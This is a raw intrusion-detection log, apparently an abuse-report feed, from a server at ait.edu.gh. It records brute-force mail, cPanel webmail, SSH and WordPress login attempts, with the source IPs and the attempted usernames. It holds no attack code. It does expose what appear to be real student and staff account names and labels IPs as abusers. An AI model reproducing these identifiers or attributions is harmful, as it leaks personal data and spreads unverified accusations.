2025-01-29 11:28:34 dovecot_plain authenticator failed for ([175.194.181.238]) [175.194.181.238]:57607: 535 Incorrect authentication data (set_id=assdas1@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.140.1.50
description:
2025-01-29 11:28:38 dovecot_plain authenticator failed for ([113.140.1.50]) [113.140.1.50]:32913: 535 Incorrect authentication data (set_id=ads19a00062y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.32.45.10
description:
Jan 29 11:28:50 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.32.45.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 11:28:51 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.44
description:
2025-01-29 11:28:01 dovecot_login authenticator failed for (dO306AOeS) [141.98.10.44]:57806: 535 Incorrect authentication data (set_id=open)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.140.1.50
description:
Jan 29 11:28:36 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.140.1.50 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.32.45.10
description:
2025-01-29 11:28:52 dovecot_plain authenticator failed for ([125.32.45.10]) [125.32.45.10]:38954: 535 Incorrect authentication data (set_id=assdas1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.44
description:
Jan 29 11:27:59 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.44 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.92.50.62
description:
[2025-01-29 11:27:59 +0100] info [webmaild] 177.92.50.62 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 181.191.130.21
description:
[2025-01-29 11:29:04 +0100] info [webmaild] 181.191.130.21 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.143.244.159
description:
Jan 29 11:29:07 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.143.244.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.143.244.159
description:
2025-01-29 11:29:09 dovecot_plain authenticator failed for ([125.143.244.159]) [125.143.244.159]:56813: 535 Incorrect authentication data (set_id=ads19a00062y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.28.192.150
description:
2025-01-29 11:29:30 dovecot_plain authenticator failed for ([1.28.192.150]) [1.28.192.150]:43098: 535 Incorrect authentication data (set_id=ads21b00225y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.31.181.52
description:
2025-01-29 11:29:49 dovecot_plain authenticator failed for ([60.31.181.52]) [60.31.181.52]:42562: 535 Incorrect authentication data (set_id=ads21b00225y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.161.165.211
description:
2025-01-29 11:29:05 dovecot_plain authenticator failed for 211.sub-166-161-165.myvzw.com [166.161.165.211]:60036: 535 Incorrect authentication data


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.222.62.110
description:
[2025-01-29 11:29:18 +0100] info [webmaild] 177.222.62.110 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.31.181.52
description:
Jan 29 11:29:47 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.31.181.52 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 165.232.125.144
domain: afaccra.u3l.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:11-30.165.232.125.144


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 11:30:30 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 12.189.234.28
description:
Jan 29 11:31:11 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 12.189.234.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 12.189.234.28
description:
2025-01-29 11:31:13 dovecot_plain authenticator failed for ([12.189.234.28]) [12.189.234.28]:59549: 535 Incorrect authentication data (set_id=baah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.182.203.89
description:
2025-01-29 11:31:16 dovecot_plain authenticator failed for ([110.182.203.89]) [110.182.203.89]:42536: 535 Incorrect authentication data (set_id=botchway)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.53.178.132
description:
2025-01-29 11:30:57 dovecot_plain authenticator failed for ([194.53.178.132]) [194.53.178.132]:41178: 535 Incorrect authentication data (set_id=botchway@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 84.54.84.80
description:
[2025-01-29 11:31:12 +0100] info [webmaild] 84.54.84.80 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 190.89.129.135
description:
[2025-01-29 11:31:07 +0100] info [webmaild] 190.89.129.135 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.159.174.136
description:
Jan 29 11:31:02 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.159.174.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.182.203.89
description:
Jan 29 11:31:14 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.182.203.89 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 116.206.58.193
description:
[2025-01-29 11:31:49 +0100] info [webmaild] 116.206.58.193 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.159.174.136
description:
2025-01-29 11:31:04 dovecot_plain authenticator failed for ([117.159.174.136]) [117.159.174.136]:43260: 535 Incorrect authentication data (set_id=baah@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.228.11.207
description:
Jan 29 11:32:36 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.228.11.207 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 31.45.34.127
description:
Jan 29 11:32:38 ait sshd[86234]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=31.45.34.127


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.221.238.206
description:
2025-01-29 11:32:47 dovecot_plain authenticator failed for ([95.221.238.206]) [95.221.238.206]:40083: 535 Incorrect authentication data (set_id=mawunyo@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 201.43.178.48
description:
[2025-01-29 11:32:22 +0100] info [webmaild] 201.43.178.48 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.221.238.206
description:
Jan 29 11:32:45 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.221.238.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.0.234.38
description:
Jan 29 11:32:13 ait sshd[86062]: pam_imunify(sshd:auth): [IM360_RBL] The IP 194.0.234.38 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 194.0.234.38
description:
Jan 29 11:32:13 ait sshd[86062]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=194.0.234.38


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.171.125.94
description:
2025-01-29 11:32:34 dovecot_plain authenticator failed for ([111.171.125.94]) [111.171.125.94]:38606: 535 Incorrect authentication data (set_id=abs21a00012y@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.71.238.4
description:
Jan 29 11:32:29 ait sshd[86125]: pam_imunify(sshd:auth): [IM360_RBL] The IP 115.71.238.4 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 115.71.238.4
description:
Jan 29 11:32:29 ait sshd[86125]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=115.71.238.4


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.171.125.94
description:
Jan 29 11:32:32 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.171.125.94 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 185.141.76.167
description:
[2025-01-29 11:32:26 +0100] info [webmaild] 185.141.76.167 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.45.34.127
description:
Jan 29 11:32:38 ait sshd[86234]: pam_imunify(sshd:auth): [IM360_RBL] The IP 31.45.34.127 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.228.11.207
description:
2025-01-29 11:32:38 dovecot_plain authenticator failed for broadband-5-228-11-207.ip.moscow.rt.ru [5.228.11.207]:55112: 535 Incorrect authentication data (set_id=ads20a00243y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.153.62.100
description:
Jan 29 11:33:57 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.153.62.100 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.92.208.12
description:
2025-01-29 11:34:49 dovecot_plain authenticator failed for ([116.92.208.12]) [116.92.208.12]:39806: 535 Incorrect authentication data (set_id=amadam@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.97.98
description:
Jan 29 11:34:22 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.97.98 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 162.186.17.150
description:
Jan 29 11:34:46 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 162.186.17.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.153.208.38
description:
Jan 29 11:34:46 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.153.208.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.92.208.12
description:
Jan 29 11:34:47 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.92.208.12 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.230.68.94
description:
[2025-01-29 11:34:47 +0100] info [webmaild] 45.230.68.94 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 11:34:00 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.90.97.98
description:
2025-01-29 11:34:24 dovecot_plain authenticator failed for ([103.90.97.98]) [103.90.97.98]:49774: 535 Incorrect authentication data (set_id=mappiah@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 162.186.17.150
description:
2025-01-29 11:34:48 dovecot_plain authenticator failed for ([162.186.17.150]) [162.186.17.150]:46698: 535 Incorrect authentication data (set_id=mappiah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.153.208.38
description:
2025-01-29 11:34:48 dovecot_plain authenticator failed for ([61.153.208.38]) [61.153.208.38]:10518: 535 Incorrect authentication data (set_id=ads23a00041y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.153.62.100
description:
2025-01-29 11:33:59 dovecot_plain authenticator failed for a89-153-62-100.cpe.netcabo.pt [89.153.62.100]:38926: 535 Incorrect authentication data (set_id=ads23a00041y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.6.235.62
description:
2025-01-29 11:35:01 dovecot_plain authenticator failed for ([179.252.107.105]) [177.6.235.62]:56047: 535 Incorrect authentication data (set_id=ads23a00041y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.36.42
description:
2025-01-29 11:35:11 dovecot_plain authenticator failed for 042.36.246.220.static.netvigator.com [220.246.36.42]:56098: 535 Incorrect authentication data (set_id=eng16b00239y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.87.90
description:
2025-01-29 11:35:28 dovecot_plain authenticator failed for (nsg-static-170.125.76.182-airtel.com) [182.76.87.90]:51450: 535 Incorrect authentication data (set_id=eng16b00239y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.6.235.62
description:
Jan 29 11:34:59 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.6.235.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.123.114.215
description:
2025-01-29 11:35:00 dovecot_plain authenticator failed for ([103.123.114.215]) [103.123.114.215]:60272: 535 Incorrect authentication data (set_id=amadam)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.76.87.90
description:
Jan 29 11:35:26 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.76.87.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.148.10.196
description:
Jan 29 11:36:10 ait sshd[88316]: pam_imunify(sshd:auth): [IM360_RBL] The IP 45.148.10.196 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 45.148.10.196
description:
Jan 29 11:36:10 ait sshd[88316]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=45.148.10.196  user=root


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 165.165.210.242
description:
[2025-01-29 11:36:12 +0100] info [webmaild] 165.165.210.242 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.70.33.196
description:
[2025-01-29 11:37:16 +0100] info [webmaild] 45.70.33.196 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.175.220.250
description:
Jan 29 11:37:17 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.175.220.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.99.89.74
description:
Jan 29 11:37:02 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.99.89.74 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.99.89.74
description:
2025-01-29 11:37:04 dovecot_plain authenticator failed for ([183.99.89.74]) [183.99.89.74]:43282: 535 Incorrect authentication data (set_id=ads20a00071y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.175.220.250
description:
2025-01-29 11:37:19 dovecot_plain authenticator failed for 110-175-220-250.static.tpgi.com.au (115-64-230-168.static.tpgi.com.au) [110.175.220.250]:58527: 535 Incorrect authentication data (set_id=ads20a00071y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 42.1.117.226
description:
Jan 29 11:38:27 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 42.1.117.226 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.50.206
description:
Jan 29 11:38:14 ait sshd[89528]: pam_imunify(sshd:auth): [IM360_RBL] The IP 146.190.50.206 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 146.190.50.206
description:
Jan 29 11:38:14 ait sshd[89528]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=146.190.50.206


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.1.117.226
description:
2025-01-29 11:38:29 dovecot_plain authenticator failed for ([103.95.156.1]) [42.1.117.226]:63207: 535 Incorrect authentication data (set_id=ebentil@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.156.142.238
description:
Jan 29 11:38:38 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.156.142.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.156.142.238
description:
2025-01-29 11:38:40 dovecot_plain authenticator failed for ([114.143.224.97]) [182.156.142.238]:2800: 535 Incorrect authentication data (set_id=ebentil)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 201.78.187.64
description:
[2025-01-29 11:39:10 +0100] info [webmaild] 201.78.187.64 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.145.142.243
description:
Jan 29 11:39:25 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.145.142.243 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.145.142.243
description:
2025-01-29 11:39:27 dovecot_plain authenticator failed for ([203.145.142.243]) [203.145.142.243]:32950: 535 Incorrect authentication data (set_id=eng19a00060y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.224.15.67
description:
Jan 29 11:40:31 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.224.15.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.247.171.186
description:
Jan 29 11:40:22 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.247.171.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.204.41.77
description:
Jan 29 11:40:06 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.204.41.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.204.41.77
description:
2025-01-29 11:40:08 dovecot_plain authenticator failed for ([183.204.41.77]) [183.204.41.77]:42528: 535 Incorrect authentication data (set_id=eng09b99891@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.126.223.162
description:
[2025-01-29 11:40:18 +0100] info [webmaild] 177.126.223.162 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.247.171.186
description:
2025-01-29 11:40:24 dovecot_plain authenticator failed for ([183.247.171.186]) [183.247.171.186]:56233: 535 Incorrect authentication data (set_id=eng19a00060y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.224.15.67
description:
2025-01-29 11:40:33 dovecot_plain authenticator failed for ([120.224.15.67]) [120.224.15.67]:25430: 535 Incorrect authentication data (set_id=eng09b99891)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 201.182.249.172
description:
[2025-01-29 11:40:00 +0100] info [webmaild] 201.182.249.172 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 189.28.3.150
description:
[2025-01-29 11:40:53 +0100] info [webmaild] 189.28.3.150 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.32.239.247
description:
Jan 29 11:41:05 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.32.239.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.38.239.52
description:
2025-01-29 11:41:32 dovecot_plain authenticator failed for ([118.38.239.52]) [118.38.239.52]:34806: 535 Incorrect authentication data (set_id=edonkor)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.32.239.247
description:
2025-01-29 11:41:07 dovecot_plain authenticator failed for broadband-188-32-239-247.ip.moscow.rt.ru [188.32.239.247]:53452: 535 Incorrect authentication data (set_id=edonkor@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.204.174.45
description:
2025-01-29 11:41:20 dovecot_plain authenticator failed for ([37.204.174.45]) [37.204.174.45]:51106: 535 Incorrect authentication data (set_id=ddessel@ait-open.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.38.239.52
description:
Jan 29 11:41:30 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.38.239.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.204.174.45
description:
Jan 29 11:41:18 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.204.174.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.175.220.250
description:
Jan 29 11:41:45 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.175.220.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.175.220.250
description:
2025-01-29 11:41:47 dovecot_plain authenticator failed for 110-175-220-250.static.tpgi.com.au (115-64-230-168.static.tpgi.com.au) [110.175.220.250]:57178: 535 Incorrect authentication data (set_id=ddessel)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.15.115.251
description:
[2025-01-29 11:42:08 +0100] info [webmaild] 45.15.115.251 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.110.120.96
description:
2025-01-29 11:42:23 dovecot_plain authenticator failed for ([189.110.120.96]) [189.110.120.96]:40866: 535 Incorrect authentication data (set_id=ads21a00112y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.106.198.35
description:
Jan 29 11:42:48 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.106.198.35 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.51.0.170
description:
2025-01-29 11:42:37 dovecot_plain authenticator failed for ([179.51.0.170]) [179.51.0.170]:39253: 535 Incorrect authentication data (set_id=ads20a00130y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.106.198.35
description:
2025-01-29 11:42:50 dovecot_plain authenticator failed for ([222.106.198.35]) [222.106.198.35]:56102: 535 Incorrect authentication data (set_id=ads21a00112y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.154.80.50
description:
Jan 29 11:42:04 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.154.80.50 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 79.166.30.136
description:
[2025-01-29 11:42:07 +0100] info [webmaild] 79.166.30.136 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.110.120.96
description:
Jan 29 11:42:21 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.110.120.96 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.51.0.170
description:
Jan 29 11:42:35 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.51.0.170 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.129.94
description:
2025-01-29 11:42:48 dovecot_plain authenticator failed for host-41-220-129-94.habari.co.tz ([197.250.7.50]) [41.220.129.94]:39194: 535 Incorrect authentication data (set_id=ads20a00130y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.178
description:
Jan 29 11:41:55 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
description:
2025-01-29 11:41:57 dovecot_plain authenticator failed for ([185.255.212.178]) [185.255.212.178]:53624: 535 Incorrect authentication data (set_id=ads22a00092y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.154.80.50
description:
2025-01-29 11:42:06 dovecot_plain authenticator failed for ([213.154.80.21]) [213.154.80.50]:59292: 535 Incorrect authentication data (set_id=ads22a00092y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.220.129.94
description:
Jan 29 11:42:46 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.220.129.94 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 201.77.144.246
description:
[2025-01-29 11:43:16 +0100] info [webmaild] 201.77.144.246 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.228.225.91
description:
2025-01-29 11:43:15 dovecot_plain authenticator failed for 125-228-225-91.hinet-ip.hinet.net [125.228.225.91]:49461: 535 Incorrect authentication data (set_id=ads21a00112y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.228.225.91
description:
Jan 29 11:43:13 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.228.225.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.217.137.126
description:
Jan 29 11:44:30 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.217.137.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.150.170.10
description:
Jan 29 11:44:42 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.150.170.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.137
description:
2025-01-29 11:44:00 dovecot_plain authenticator failed for ([178.178.194.137]) [178.178.194.137]:37580: 535 Incorrect authentication data (set_id=ads21b00277y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 138.122.48.145
description:
[2025-01-29 11:44:19 +0100] info [webmaild] 138.122.48.145 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.217.137.126
description:
